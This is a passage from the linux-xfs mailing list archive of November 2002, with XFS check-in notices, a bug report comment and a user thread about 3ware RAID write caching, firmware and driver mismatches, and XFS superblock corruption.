from RPMs, let rpm set it more flexibly via rpmmacros, etc. (We did have an environment var that could set it, but that's not "the rpm way.") Date: Tue Nov 5 12:32:31 PST 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132089a cmd/attr/build/rpm/attr.spec.in - 1.12 cmd/xfsprogs/build/rpm/xfsprogs.spec.in - 1.14 cmd/xfsdump/build/rpm/xfsdump.spec.in - 1.12 cmd/dmapi/build/rpm/dmapi.spec.in - 1.14 From owner-linux-xfs@oss.sgi.com Tue Nov 5 12:38:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 12:38:14 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5Kc9uR028740 for ; Tue, 5 Nov 2002 12:38:09 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA54955 for ; Tue, 5 Nov 2002 14:39:09 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA57754 for ; Tue, 5 Nov 2002 14:39:09 -0600 (CST) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id gA5KWZ411422; Tue, 5 Nov 2002 14:32:35 -0600 Message-Id: <200211052032.gA5KWZ411422@stout.americas.sgi.com> Date: Tue, 5 Nov 2002 14:32:35 -0600 Subject: TAKE - Call remove_inode_hash() before make_bad_inode() X-archive-position: 1515 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Checking in for Christoph, since his ptools seems to be flakey today. Call remove_inode_hash() before make_bad_inode() in xfs, to prevent us from picking it up again later, possibly at a time that we really can't deal with it (such as in xfs_iget()) This is hopefully a fix for bugzilla #186... Date: Tue Nov 5 12:37:58 PST 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-expect The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132090a linux/fs/xfs/xfs_iget.c - 1.179 linux/fs/xfs/linux/xfs_vnode.c - 1.104 linux/fs/xfs/linux/xfs_super.c - 1.227 From owner-linux-xfs@oss.sgi.com Tue Nov 5 12:40:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 12:40:49 -0800 (PST) Received: from taz2.fiberhosting.com (IDENT:qGFPJad6U/mn2nMEslY5YwZghu9bFOcJ@KNIGHT.01.dios.net [65.222.230.112]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5KekuR029176 for ; Tue, 5 Nov 2002 12:40:46 -0800 Received: (qmail 27690 invoked by uid 2526); 5 Nov 2002 20:41:51 -0000 To: Stephen Lord Subject: Re: write cache on 3ware controller and XFS -- firmware and driver _must_ match Message-ID: <1036528911.3dc82d0f33d37@webmail.smithconcepts.com> Date: Tue, 05 Nov 2002 15:41:51 -0500 (EST) From: "Bryan J. Smith" Cc: Christophe Zwecker , linux-xfs@oss.sgi.com References: <1036525848.20194.5.camel@dumbo.zwecker.de> <1036527421.10815.41.camel@snafu> In-Reply-To: <1036527421.10815.41.camel@snafu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.7 X-Originating-IP: 208.246.35.243 X-archive-position: 1516 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: b.j.smith@ieee.org Precedence: bulk X-list: linux-xfs Quoting Stephen Lord : > Unfortunately, some hardware is just designed to rely on write > caching. It does seem a little odd that you lost the superblock > though. This is put there by mkfs, and is always present, so how > powering down the device is corrupting it I do not know. That > seems like an issue with the 3ware firmware to me. Yes, as with _all_ RAID controllers, you _must_ make sure the driver and firmware "match up." _You_ must be _vigilant_ to do this as OS upgrades and kernel updates in newer versions can introduce newer drivers than require newer firmware. CASE-IN-POINT: _Always_ investigate the driver version in a newer kernel or OS, and make sure you have a compatible firmware, _before_ upgrading it. My Linux /var filesystem (XFS) was heavily corrupted (~50% file loss) after I upgraded to Windows XP and loaded a newer 3Ware ATA RAID driver than the firmware was designed for. Yes, the driver in another OS messed with blocks outside its partitions, because the firmware was too old. Had a /home filesystem (Ext3) filesystem was moderately corrupted (~100 files) I upgraded an ICP-Vortex SCSI RAID kernel driver without upgrading the firmware, and failed disk detection took 24 seconds before it realized it needed to stop writing to it. -- Bryan J. Smith, E.I. Contact Info: http://thebs.org A+/i-Net+/Linux+/Network+/Server+ CCNA CIWA CNA SCSA/SCWSE/SCNA --------------------------------------------------------------- 'In the new commercials for MSN 8, a guy dressed in a Microsoft Butterfly costume drops out of a "cocoon" ... nobody at Microsoft ... knows that a butterfly doesn't emerge from a cocoon, but a chrysalis -- moths come from cocoons ... "this should not be all that surprising since Microsoft seems to have problems recognizing bugs ..."' -- Cringely From owner-linux-xfs@oss.sgi.com Tue Nov 5 12:43:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 12:43:53 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA5KhquR029646 for ; Tue, 5 Nov 2002 12:43:52 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA5KhpD0029645 for linux-xfs@oss.sgi.com; Tue, 5 Nov 2002 12:43:51 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA5Khnub029621 for ; Tue, 5 Nov 2002 12:43:50 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA5KevOj029274; Tue, 5 Nov 2002 12:40:57 -0800 Date: Tue, 5 Nov 2002 12:40:57 -0800 Message-Id: <200211052040.gA5KevOj029274@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 186] xfs_force_shutdown in xfs_trans_cancel X-Bugzilla-Reason: AssignedTo X-archive-position: 1517 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=186 ------- Additional Comments From sandeen@sgi.com 2002-11-05 12:40 ------- Created an attachment (id=45) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=45&action=view) Proposed patch This is from Christoph... call remove_inode_hash before make_bad_inode, so we don't find it again. This should prevent us from trying to back out of xfs_iget and shutting down... This is checked into the tree now. Let us know if it solves the problem, please. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Tue Nov 5 13:06:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 13:06:57 -0800 (PST) Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5L6ruR030393 for ; Tue, 5 Nov 2002 13:06:54 -0800 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id gA5L7u4J040706; Tue, 5 Nov 2002 22:07:56 +0100 (CET) Message-Id: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 05 Nov 2002 22:06:00 +0100 To: Christophe Zwecker , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: write cache on 3ware controller and XFS In-Reply-To: <1036525848.20194.5.camel@dumbo.zwecker.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1518 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 20:50 5-11-2002 +0100, Christophe Zwecker wrote: >Hi, > >I have write cache disabled on the 3ware controller. I copied 300 gb >over network, I noticed that every 50mb or so, the controller stalled, >didnt accept more data while writing like crazy to disk. How much ram do you have in this server? Does the stall occur exactly every 30 seconds == to time to fill ram? >it took me 24 h to copy 300 gb over 100mbit network. == ~3MB/s With about the normal amount of maximum bandwidth of the 100Mbit interface it would take 10MB/sec => 8,5 hours Maybe you could investigate Gigabit Ethernet and a cross over cable :-) The 3ware controller should easily beat the 3MB/s mark though. What disks are attached, what speed and size, how many, what sort of raid config. Does it have a battery cache. > After that I tried >to turn write cache on, huge more performance. hmm well. I rebooted Only turn on write caching if the thing has a batter cache to back up the ram in case of a power failure. >couple of times, suddenley I could mount ther XFS partition any more >(bad superblock). I disabled write cache again and thank god I could fix >the issue with xfs_repair. You were lucky :-/ >So, here I am , disbled write cache, ok. the performance as I stated >above is awfull, is this how its supposed to be ? disable write cache >and have terrible performance? That sounds about right. >also: Do I have to disable write cache on the drives themselfes too ? Yes. >I have another box with an SCSI ICP Controller and RAID5/XFS on it, I >quickly disabled write cache there too, had it running for a year with >(phew) :-) If it has a battery cache you are safe. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Tue Nov 5 13:16:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 13:16:52 -0800 (PST) Received: from localhost (b124048.adsl.hansenet.de [62.109.124.48]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5LGmuR030875 for ; Tue, 5 Nov 2002 13:16:49 -0800 Received: (qmail 16186 invoked from network); 5 Nov 2002 21:18:01 -0000 Received: from unknown (HELO dumbo.dyndns.org) (192.168.2.10) by 192.168.2.254 with SMTP; 5 Nov 2002 21:18:01 -0000 Subject: Re: write cache on 3ware controller and XFS From: Christophe Zwecker To: Seth Mos Cc: linux-xfs@oss.sgi.com In-Reply-To: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Nov 2002 22:17:33 +0100 Message-Id: <1036531054.20194.10.camel@dumbo.zwecker.de> Mime-Version: 1.0 X-archive-position: 1519 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: doc@zwecker.de Precedence: bulk X-list: linux-xfs On Tue, 2002-11-05 at 22:06, Seth Mos wrote: > At 20:50 5-11-2002 +0100, Christophe Zwecker wrote: > >Hi, > > > >I have write cache disabled on the 3ware controller. I copied 300 gb > >over network, I noticed that every 50mb or so, the controller stalled, > >didnt accept more data while writing like crazy to disk. > > How much ram do you have in this server? Does the stall occur exactly every > 30 seconds == to time to fill ram? 256 MB, I dont think it reaches 256mb filling when it stalls > > Maybe you could investigate Gigabit Ethernet and a cross over cable :-) > The 3ware controller should easily beat the 3MB/s mark though. yeah, with write cache enabled its alot faster. its not the network thats slow, just the machine with the controller refuses to take more data > > What disks are attached, what speed and size, how many, what sort of raid > config. Does it have a battery cache. 5x 120GB IBM 7200RPM IDE disks, RAID5 on an EVMS/LVM Volume > > > After that I tried > >to turn write cache on, huge more performance. hmm well. I rebooted > > Only turn on write caching if the thing has a batter cache to back up the > ram in case of a power failure. I dont have batter cache, but am I not safe with an USV , that shutsdown the machine in case of power failure ? > >also: Do I have to disable write cache on the drives themselfes too ? > > Yes. uh, are there tools for that ? > > >I have another box with an SCSI ICP Controller and RAID5/XFS on it, I > >quickly disabled write cache there too, had it running for a year with > >(phew) :-) > > If it has a battery cache you are safe. it doesnt, rebooted like 3 times in one year, nothing happened sofar.. thx for your comments! -- Christophe Zwecker mail: doc@zwecker.de Hamburg, Germany fon: +49 179 3994867 http://www.zwecker.de "Who is General Failure ? And why is he reading my disk ??" From owner-linux-xfs@oss.sgi.com Tue Nov 5 13:21:46 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 13:21:48 -0800 (PST) Received: from taz2.fiberhosting.com (IDENT:Y69kwrsGXa8mks+cXQ+WjQYuTiW6mgI4@KNIGHT.01.dios.net [65.222.230.112]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5LLjuR031364 for ; Tue, 5 Nov 2002 13:21:46 -0800 Received: (qmail 29267 invoked by uid 2526); 5 Nov 2002 21:22:50 -0000 To: Christophe Zwecker Subject: Re: write cache on 3ware controller and XFS Message-ID: <1036531370.3dc836aaaba6f@webmail.smithconcepts.com> Date: Tue, 05 Nov 2002 16:22:50 -0500 (EST) From: "Bryan J. Smith" Cc: Seth Mos , linux-xfs@oss.sgi.com References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> <1036531054.20194.10.camel@dumbo.zwecker.de> In-Reply-To: <1036531054.20194.10.camel@dumbo.zwecker.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.7 X-Originating-IP: 208.246.35.242 X-archive-position: 1520 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: b.j.smith@ieee.org Precedence: bulk X-list: linux-xfs Quoting Christophe Zwecker : > 256 MB, I dont think it reaches 256mb filling when it stalls vmstat would prove/disprove that. > yeah, with write cache enabled its alot faster. its not the network > thats slow, just the machine with the controller refuses to take more > data I'm surprised you're getting corruptions. Again, I've only seen two cases with RAID cards where I have issues. 1. firmware incompatible with driver 2. AMI BIOS and IRQ sharing (nasty) > 5x 120GB IBM 7200RPM IDE disks, RAID5 on an EVMS/LVM Volume Okay, now I'm confused. Why do you need to use EVMS/LVM with a 3Ware card? -- Bryan J. Smith, E.I. Contact Info: http://thebs.org A+/i-Net+/Linux+/Network+/Server+ CCNA CIWA CNA SCSA/SCWSE/SCNA --------------------------------------------------------------- 'In the new commercials for MSN 8, a guy dressed in a Microsoft Butterfly costume drops out of a "cocoon" ... nobody at Microsoft ... knows that a butterfly doesn't emerge from a cocoon, but a chrysalis -- moths come from cocoons ... "this should not be all that surprising since Microsoft seems to have problems recognizing bugs ..."' -- Cringely From owner-linux-xfs@oss.sgi.com Tue Nov 5 13:25:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 13:25:40 -0800 (PST) Received: from taz2.fiberhosting.com (IDENT:bQ4B+aCkDaLTkif5aIqaxibZvc9QvLiR@KNIGHT.01.dios.net [65.222.230.112]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5LPauR031820 for ; Tue, 5 Nov 2002 13:25:37 -0800 Received: (qmail 29392 invoked by uid 2526); 5 Nov 2002 21:26:41 -0000 To: Seth Mos Subject: Re: write cache on 3ware controller and XFS -- 3Ware uses SRAM (battery not required?) Message-ID: <1036531601.3dc83791d2469@webmail.smithconcepts.com> Date: Tue, 05 Nov 2002 16:26:41 -0500 (EST) From: "Bryan J. Smith" Cc: Christophe Zwecker , linux-xfs@oss.sgi.com References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> In-Reply-To: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.7 X-Originating-IP: 208.246.35.242 X-archive-position: 1521 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: b.j.smith@ieee.org Precedence: bulk X-list: linux-xfs Quoting Seth Mos : > The 3ware controller should easily beat the 3MB/s mark though. > What disks are attached, what speed and size, how many, what sort of > raid config. Does it have a battery cache. Unfortunately, 3Ware cards don't have a battery cache. I find this a stupid design decision because 3Ware cards use SRAM, instead of DRAM, which means you only need a fraction of the juice to maintain the data. Unless, of course, they _are_ using capacitors to provide the small amount of power to maintain the data in a SRAM between reboots and short power outtages. SRAM (combinational boolean) requires only a very small amount of power compared to DRAM (leaky cell) . Someone should ping 3Ware on this design question. -- Bryan J. Smith, E.I. Contact Info: http://thebs.org A+/i-Net+/Linux+/Network+/Server+ CCNA CIWA CNA SCSA/SCWSE/SCNA --------------------------------------------------------------- 'In the new commercials for MSN 8, a guy dressed in a Microsoft Butterfly costume drops out of a "cocoon" ... nobody at Microsoft ... knows that a butterfly doesn't emerge from a cocoon, but a chrysalis -- moths come from cocoons ... "this should not be all that surprising since Microsoft seems to have problems recognizing bugs ..."' -- Cringely From owner-linux-xfs@oss.sgi.com Tue Nov 5 13:27:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 13:27:34 -0800 (PST) Received: from eclectic.kluge.net (IDENT:pAw6E6BI8m9IheteCD7lRZx6/MO3jCLF@eclectic.kluge.net [66.92.69.221]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5LRTuR032231 for ; Tue, 5 Nov 2002 13:27:29 -0800 Received: from eclectic.kluge.net (localhost [127.0.0.1]) by eclectic.kluge.net (8.12.6/8.12.6) with ESMTP id gA5LSQ2K005210; Tue, 5 Nov 2002 16:28:26 -0500 Received: (from felicity@localhost) by eclectic.kluge.net (8.12.6/8.12.6/Submit) id gA5LSQ7E005208; Tue, 5 Nov 2002 16:28:26 -0500 Date: Tue, 5 Nov 2002 16:28:26 -0500 From: Theo Van Dinter To: "Bryan J. Smith" Cc: linux-xfs@oss.sgi.com Subject: Re: write cache on 3ware controller and XFS Message-ID: <20021105212826.GI16417@kluge.net> References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> <1036531054.20194.10.camel@dumbo.zwecker.de> <1036531370.3dc836aaaba6f@webmail.smithconcepts.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="uJWb33pM2TcUAXIl" Content-Disposition: inline In-Reply-To: <1036531370.3dc836aaaba6f@webmail.smithconcepts.com> User-Agent: Mutt/1.4i X-GPG-Keyserver: http://wwwkeys.pgp.net X-GPG-Keynumber: 0xE580B363 X-GPG-Fingerprint: 75B1 F6D0 8368 38E7 A4C5 F6C2 02E3 9051 E580 B363 X-archive-position: 1522 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: felicity@kluge.net Precedence: bulk X-list: linux-xfs --uJWb33pM2TcUAXIl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 05, 2002 at 04:22:50PM -0500, Bryan J. Smith wrote: > > 5x 120GB IBM 7200RPM IDE disks, RAID5 on an EVMS/LVM Volume >=20 > Okay, now I'm confused. Why do you need to use EVMS/LVM with a 3Ware car= d? You want the features of LVM? the 3ware card does RAID, not volume managem= ent. :) --=20 Randomly Generated Tagline: "Never underestimate someone trying to help you." - Unknown (SAGE Life of an Admin) --uJWb33pM2TcUAXIl Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9yDf6AuOQUeWAs2MRAklTAKCmWqe469leqLZPsX7OLYDsNFN3QACeOJES z//8PpAj2A+BJTwyDatwUdM= =j/tw -----END PGP SIGNATURE----- --uJWb33pM2TcUAXIl-- From owner-linux-xfs@oss.sgi.com Tue Nov 5 13:29:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 13:29:19 -0800 (PST) Received: from taz2.fiberhosting.com (IDENT:BV06dOaHZGBhKpKGDblinSfcJn23G9zW@KNIGHT.01.dios.net [65.222.230.112]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5LTHuR032646 for ; Tue, 5 Nov 2002 13:29:17 -0800 Received: (qmail 29579 invoked by uid 2526); 5 Nov 2002 21:30:22 -0000 To: Theo Van Dinter Subject: Re: write cache on 3ware controller and XFS Message-ID: <1036531822.3dc8386e337d3@webmail.smithconcepts.com> Date: Tue, 05 Nov 2002 16:30:22 -0500 (EST) From: "Bryan J. Smith" Cc: "Bryan J. Smith" , linux-xfs@oss.sgi.com References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> <1036531054.20194.10.camel@dumbo.zwecker.de> <1036531370.3dc836aaaba6f@webmail.smithconcepts.com> <20021105212826.GI16417@kluge.net> In-Reply-To: <20021105212826.GI16417@kluge.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.7 X-Originating-IP: 208.246.35.242 X-archive-position: 1523 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: b.j.smith@ieee.org Precedence: bulk X-list: linux-xfs Quoting Theo Van Dinter : > You want the features of LVM? the 3ware card does RAID, not volume > management. :) Okay, that makes sense. I'm so used to people using LVM atop of multiple 3Ware cards to create one volume. -- Bryan J. Smith, E.I. Contact Info: http://thebs.org A+/i-Net+/Linux+/Network+/Server+ CCNA CIWA CNA SCSA/SCWSE/SCNA --------------------------------------------------------------- 'In the new commercials for MSN 8, a guy dressed in a Microsoft Butterfly costume drops out of a "cocoon" ... nobody at Microsoft ... knows that a butterfly doesn't emerge from a cocoon, but a chrysalis -- moths come from cocoons ... "this should not be all that surprising since Microsoft seems to have problems recognizing bugs ..."' -- Cringely From owner-linux-xfs@oss.sgi.com Tue Nov 5 13:44:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 13:44:37 -0800 (PST) Received: from localhost (b124048.adsl.hansenet.de [62.109.124.48]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5LiYuR000773 for ; Tue, 5 Nov 2002 13:44:35 -0800 Received: (qmail 16288 invoked from network); 5 Nov 2002 21:45:48 -0000 Received: from unknown (HELO dumbo.dyndns.org) (192.168.2.10) by 192.168.2.254 with SMTP; 5 Nov 2002 21:45:48 -0000 Subject: Re: write cache on 3ware controller and XFS From: Christophe Zwecker To: "Bryan J. Smith" Cc: linux-xfs@oss.sgi.com In-Reply-To: <1036532147.3dc839b3ea982@webmail.smithconcepts.com> References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> <1036531054.20194.10.camel@dumbo.zwecker.de> <1036531370.3dc836aaaba6f@webmail.smithconcepts.com> <1036531798.20193.14.camel@dumbo.zwecker.de> <1036532147.3dc839b3ea982@webmail.smithconcepts.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Nov 2002 22:45:20 +0100 Message-Id: <1036532720.20193.22.camel@dumbo.zwecker.de> Mime-Version: 1.0 X-archive-position: 1524 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: doc@zwecker.de Precedence: bulk X-list: linux-xfs On Tue, 2002-11-05 at 22:35, Bryan J. Smith wrote: > I'd check #1. RedHat actively updates the 3Ware driver in their kernels, and > the 3Ware kernel is updated in the stock kernel, so I'd make sure the firmware > isn't too old. the firmware is the one I dl from the 3ware page 1 week ago, when I installed the system, the kernel is 2.4.19, so I guess that shit fit. > With UNIX mount points and links, I find it I don't need to either. yeah, mostly true, tho I need that for an ftp server, its unconvinient to guess how big a dir will get an "waste" a partition on it when the space wont be available to other dirs. Anyhow, I know now, I shall never enable the write cache again, i kinda pi.. me off to waste performance..well security goes first. Since its an ftp server speed is not all that important - the line aint THAT fast. Anyone know where to get those tools to disable write cache on my IDE hds ? I hope I dont need windows for that... thx again -- Christophe Zwecker mail: doc@zwecker.de Hamburg, Germany fon: +49 179 3994867 http://www.zwecker.de "Who is General Failure ? And why is he reading my disk ??" From owner-linux-xfs@oss.sgi.com Tue Nov 5 13:54:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 13:54:06 -0800 (PST) Received: from taz2.fiberhosting.com (IDENT:PG3WUAyR1lgecw0Om1D4QKsSYYTdE3En@KNIGHT.01.dios.net [65.222.230.112]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5Ls3uR001277 for ; Tue, 5 Nov 2002 13:54:04 -0800 Received: (qmail 30693 invoked by uid 2526); 5 Nov 2002 21:55:03 -0000 To: Christophe Zwecker Subject: Re: write cache on 3ware controller and XFS Message-ID: <1036533303.3dc83e370b1b4@webmail.smithconcepts.com> Date: Tue, 05 Nov 2002 16:55:03 -0500 (EST) From: "Bryan J. Smith" Cc: "Bryan J. Smith" , linux-xfs@oss.sgi.com References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> <1036531054.20194.10.camel@dumbo.zwecker.de> <1036531370.3dc836aaaba6f@webmail.smithconcepts.com> <1036531798.20193.14.camel@dumbo.zwecker.de> <1036532147.3dc839b3ea982@webmail.smithconcepts.com> <1036532720.20193.22.camel@dumbo.zwecker.de> In-Reply-To: <1036532720.20193.22.camel@dumbo.zwecker.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.7 X-Originating-IP: 208.246.35.242 X-archive-position: 1525 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: b.j.smith@ieee.org Precedence: bulk X-list: linux-xfs Quoting Christophe Zwecker : > the firmware is the one I dl from the 3ware page 1 week ago, when I > installed the system, the kernel is 2.4.19, so I guess that shit fit. Okay, you _probably_ have _too_new_ of a firmware for your driver! If find the stock kernel lags 3Ware by 6-12 months, and 3Ware almost always introduces a new driver with each new firmware release. I'd say you found your problem then. Be sure to _always_ install the driver with the firmware image you get from 3Ware. They even include a Makefile to make things easy. Or don't you read things like READMEs??? ;-P > yeah, mostly true, tho I need that for an ftp server, its unconvinient > to guess how big a dir will get an "waste" a partition on it when the > space wont be available to other dirs. Perfect excuse to put those accounts on their own filesystem(s)! ;-P > Anyhow, I know now, I shall never enable the write cache again, i > kinda pi.. me off to waste performance..well security goes first. Since its > an ftp server speed is not all that important - the line aint THAT fast. Again, you're firmware is probably _too_new_ for your driver. > Anyone know where to get those tools to disable write cache on my IDE > hds ? I hope I dont need windows for that... You usually need to boot DOS to do so. And you'll need to put them on a standard ATA controller, as 3Ware Escalades hide them behind their ASIC. -- Bryan J. Smith, E.I. Contact Info: http://thebs.org A+/i-Net+/Linux+/Network+/Server+ CCNA CIWA CNA SCSA/SCWSE/SCNA --------------------------------------------------------------- When people focus on recycling trees, the fastest regenerating resource on the planet, you know the country's environmental policy has one of the most misguided focuses it could have. From owner-linux-xfs@oss.sgi.com Tue Nov 5 14:52:27 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 14:52:31 -0800 (PST) Received: from skreak.org (W00t@ddsl-66-161-218-122.fuse.net [66.161.218.122]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA5MqQuR013718 for ; Tue, 5 Nov 2002 14:52:27 -0800 Received: (qmail 1777 invoked from network); 5 Nov 2002 22:56:51 -0000 Received: from localhost (127.0.0.1) by skreak.org with SMTP; 5 Nov 2002 22:56:51 -0000 Date: Tue, 5 Nov 2002 17:56:51 -0500 (EST) From: TJ Easter To: "Bryan J. Smith" cc: Christophe Zwecker , Subject: Re: write cache on 3ware controller and XFS In-Reply-To: <1036533303.3dc83e370b1b4@webmail.smithconcepts.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1526 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tje@skreak.org Precedence: bulk X-list: linux-xfs Will 'hdparm -W /dev/hdX' not disable the write cache in this scenario? Regards, TJ Easter On Tue, 5 Nov 2002, Bryan J. Smith wrote: > > Quoting Christophe Zwecker : > > the firmware is the one I dl from the 3ware page 1 week ago, when I > > installed the system, the kernel is 2.4.19, so I guess that shit fit. > > Okay, you _probably_ have _too_new_ of a firmware for your driver! If find the > stock kernel lags 3Ware by 6-12 months, and 3Ware almost always introduces a new > driver with each new firmware release. > > I'd say you found your problem then. Be sure to _always_ install the driver > with the firmware image you get from 3Ware. They even include a Makefile to > make things easy. > > Or don't you read things like READMEs??? ;-P > > > yeah, mostly true, tho I need that for an ftp server, its unconvinient > > to guess how big a dir will get an "waste" a partition on it when the > > space wont be available to other dirs. > > Perfect excuse to put those accounts on their own filesystem(s)! ;-P > > > Anyhow, I know now, I shall never enable the write cache again, i > > kinda pi.. me off to waste performance..well security goes first. Since its > > an ftp server speed is not all that important - the line aint THAT fast. > > Again, you're firmware is 